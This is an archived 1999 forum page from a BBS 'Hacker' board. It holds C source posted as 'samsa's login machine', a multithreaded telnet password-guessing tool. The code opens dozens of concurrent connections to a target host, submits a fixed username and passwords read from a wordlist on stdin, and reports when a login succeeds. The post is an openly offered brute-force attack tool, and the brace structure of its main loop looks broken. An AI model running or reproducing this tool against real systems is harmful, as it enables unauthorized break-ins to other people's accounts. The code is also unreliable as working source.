📄 397.htm
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center"> ● UNIX网络编程 (BM: clown) </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="315.htm">上一层</a>][<a href="398.htm">下一篇</a>]
<hr><p align="left"><small>发信人: samsa (沙门~屏绝进取,一意著书), 信区: Hacker <br>
标 题: samsa 的登录机-teln.c <br>
发信站: BBS 水木清华站 (Mon Jul 5 08:33:58 1999) <br>
<br>
/* <br>
* This file is a part of the samsa-logion Password Tryer <br>
* Copyright (c) 1999 by Samsa Hacking Corp. <br>
*/ <br>
<br>
#include <signal.h> <br>
#include <sys/types.h> <br>
#include <sys/socket.h> <br>
#include <netinet/in.h> <br>
#include <netdb.h> <br>
#include <arpa/telnet.h> <br>
#include <string.h> <br>
#include <unistd.h> <br>
#include <pthread.h> <br>
#include <sys/time.h> <br>
#include <errno.h> <br>
<br>
#include "rwn.h" <br>
<br>
<br>
#define BUFSIZE 100 <br>
#define DOTS <br>
#define MAXBUF 1024 <br>
<br>
#define S_NON 0 <br>
#define S_NEWL 1 <br>
<br>
#define S_O 2 <br>
#define S_OG 3 <br>
#define S_OGI 4 <br>
#define S_OGIN 5 <br>
<br>
#define S_A 11 <br>
#define S_AS 12 <br>
#define S_ASS 13 <br>
#define S_ASSW 14 <br>
#define S_ASSWO 15 <br>
#define S_ASSWOR 16 <br>
#define S_ASSWORD 17 <br>
<br>
#define MAX_LOGIN 3 <br>
#define MAX_LINE 2 <br>
#define MAX_THREADS 35 <br>
<br>
char user[256]; <br>
struct hostent *hp; <br>
int debug = 0; <br>
pthread_mutex_t scanf_mutex = PTHREAD_MUTEX_INITIALIZER; <br>
<br>
void catchit(void) <br>
{ <br>
printf("\nCaught SIGPIPE -- your link may be too slow.\n"); <br>
exit(1); <br>
} <br>
<br>
void * loop(void *arg); <br>
<br>
int main(int argc, char *argv[]) <br>
{ <br>
int i; <br>
pthread_t tid; <br>
<br>
typedef void (*sig_t) (int); <br>
signal(SIGPIPE,(sig_t)catchit); <br>
<br>
if (argc != 3) { <br>
printf("usage: teln host user\n"); <br>
exit(1); <br>
} <br>
<br>
if (!(hp = gethostbyname(argv[1]))) { <br>
printf("unknown host\n"); <br>
exit(1); <br>
} <br>
<br>
strncpy(user,argv[2],254); <br>
user[254] = 0; <br>
strcat(user,"\n"); <br>
<br>
for (i=0;i<MAX_THREADS;i++) pthread_create(&tid,NULL,loop,NULL); <br>
<br>
for (;;) sleep(100000); <br>
} <br>
<br>
<br>
#define RETRY close(s); retry = 1;goto CNCT; <br>
<br>
void * loop(void *arg) <br>
{ <br>
unsigned char kludge_telopt[] = {IAC,WONT,TELOPT_TTYPE,IAC,DO, \ <br>
TELOPT_SGA,IAC,WONT,TELOPT_XDISPLOC,IAC,WONT,TELOPT_NAWS,IAC,WONT, \ <br>
TELOPT_OLD_ENVIRON,IAC,WONT,TELOPT_NEW_ENVIRON,IAC,DO,TELOPT_ECHO}; <br>
<br>
unsigned char c; <br>
int stat; <br>
short login_cnt,line_cnt; <br>
char pass[256] = ""; <br>
<br>
struct sockaddr_in sin; <br>
struct servent * sp; <br>
int s; <br>
pthread_t tid; <br>
int retry = 0; <br>
<br>
tid = pthread_self(); <br>
<br>
CNCT: <br>
if (!(s = socket(AF_INET, SOCK_STREAM, 0))) { <br>
printf("no socket(%d)\n",tid); <br>
return NULL; <br>
} <br>
<br>
bzero(&sin,sizeof(sin)); <br>
bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length); <br>
sin.sin_family = AF_INET; <br>
sp = getservbyname("telnet","tcp"); <br>
sin.sin_port = sp->s_port; <br>
<br>
if (connect(s,(struct sockaddr *)&sin,sizeof(sin)) == -1) { <br>
printf("can't connect to host(%d)\n",tid); <br>
exit(1); <br>
} <br>
<br>
if (debug) printf("connected to %s(%d)\n",hp->h_name,tid); <br>
write(s,kludge_telopt,21); /* kludge some telnet negotiation */ <br>
<br>
stat = S_NON; <br>
login_cnt = 0; <br>
line_cnt = -1; <br>
for (;;){ <br>
for (;;){ <br>
int nr; <br>
fd_set rset; <br>
struct timeval tv; <br>
int ret; <br>
<br>
FD_ZERO(&rset); <br>
FD_SET(s,&rset); <br>
tv.tv_sec = 5; <br>
tv.tv_usec = 0; <br>
while (ret = select(s+1,&rset,NULL,NULL,&tv)){ <br>
if (ret == 1) break; <br>
if (ret == -1) { <br>
if (errno == EINTR) continue; <br>
else { <br>
printf("select error,try again...(%d)\n",tid); <br>
RETRY <br>
} <br>
} <br>
if (ret == 0) { <br>
printf("read times out(%d),try again...\n",tid); <br>
RETRY <br>
} <br>
} <br>
} <br>
if (FD_ISSET(s,&rset)) nr = read(s,&c,1); <br>
else { <br>
printf("select incoherent,try again...(%d)\n",tid); <br>
RETRY <br>
} <br>
if (nr != 1){ <br>
if (nr < 0){ <br>
printf("read:%s,try again...(%d)\n",strerror(errno),tid); <br>
RETRY <br>
} <br>
if (nr == 0){ <br>
printf("net connection closed.try again...(%d)\n",tid); <br>
RETRY <br>
} <br>
} <br>
if (c == '\n'){ <br>
if (line_cnt >= 0) line_cnt++; <br>
if (line_cnt > MAX_LINE){ <br>
printf("User:%sPassword:%sLogin Successful!(%d)\n",user,pass,tid); <br>
exit(0); <br>
} <br>
} <br>
stat = S_NEWL; <br>
continue; <br>
} <br>
switch(stat){ <br>
case S_NEWL: <br>
if (c == 'o') stat = S_O; <br>
else if (c == 'a') stat = S_A; <br>
break; <br>
case S_O: <br>
if (c == 'g') stat = S_OG; <br>
else stat = S_NON; <br>
break; <br>
case S_OG: <br>
if (c == 'i') stat = S_OGI; <br>
else stat = S_NON; <br>
break; <br>
case S_OGI: <br>
if (c == 'n') stat = S_OGIN; <br>
else stat = S_NON; <br>
break; <br>
case S_A: <br>
if (c == 's') stat = S_AS; <br>
else stat = S_NON; <br>
break; <br>
case S_AS: <br>
if (c == 's') stat = S_ASS; <br>
else stat = S_NON; <br>
break; <br>
case S_ASS: <br>
if (c == 'w') stat = S_ASSW; <br>
else stat = S_NON; <br>
break; <br>
case S_ASSW: <br>
if (c == 'o') stat = S_ASSWO; <br>
else stat = S_NON; <br>
break; <br>
case S_ASSWO: <br>
if (c == 'r') stat = S_ASSWOR; <br>
else stat = S_NON; <br>
break; <br>
case S_ASSWOR: <br>
if (c == 'd') stat = S_ASSWORD; <br>
else stat = S_NON; <br>
break; <br>
break; <br>
case S_OGIN: <br>
if (login_cnt > MAX_LOGIN){ <br>
close(s); <br>
goto CNCT; <br>
} <br>
if (c == ':'){ <br>
/*if (scanf("%s",user) == EOF){ <br>
if (debug){ <br>
printf("\nNo password matched.\n"); <br>
printf("Login Unsuccessful!\n"); <br>
} <br>
exit(1); <br>
}*/ <br>
writen(s,user,strlen(user)); <br>
} <br>
line_cnt = 0; <br>
stat = S_NON; <br>
break; <br>
case S_ASSWORD: <br>
if (c == ':'){ <br>
pthread_mutex_lock(&scanf_mutex); <br>
<br>
<br>
if (!retry){ <br>
if (scanf("%s",pass) == EOF){ <br>
printf("No password matched.(%d)\n",tid); <br>
printf("Login Unsuccessful!\n"); <br>
exit(1); <br>
} <br>
} <br>
else retry = 0; <br>
<br>
pthread_mutex_unlock(&scanf_mutex); <br>
<br>
if (debug) printf("pass:%s(%d)\n",pass,tid); <br>
strcat(pass,"\n"); <br>
writen(s,pass,strlen(pass)); <br>
} <br>
login_cnt++; <br>
line_cnt = 0; <br>
stat = S_NON; <br>
break; <br>
} /* end of switch(stat) */ <br>
} /* end of for (;;) */ <br>
} /* end of loop() */ <br>
<br>
</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="315.htm">上一层</a>][<a href="398.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -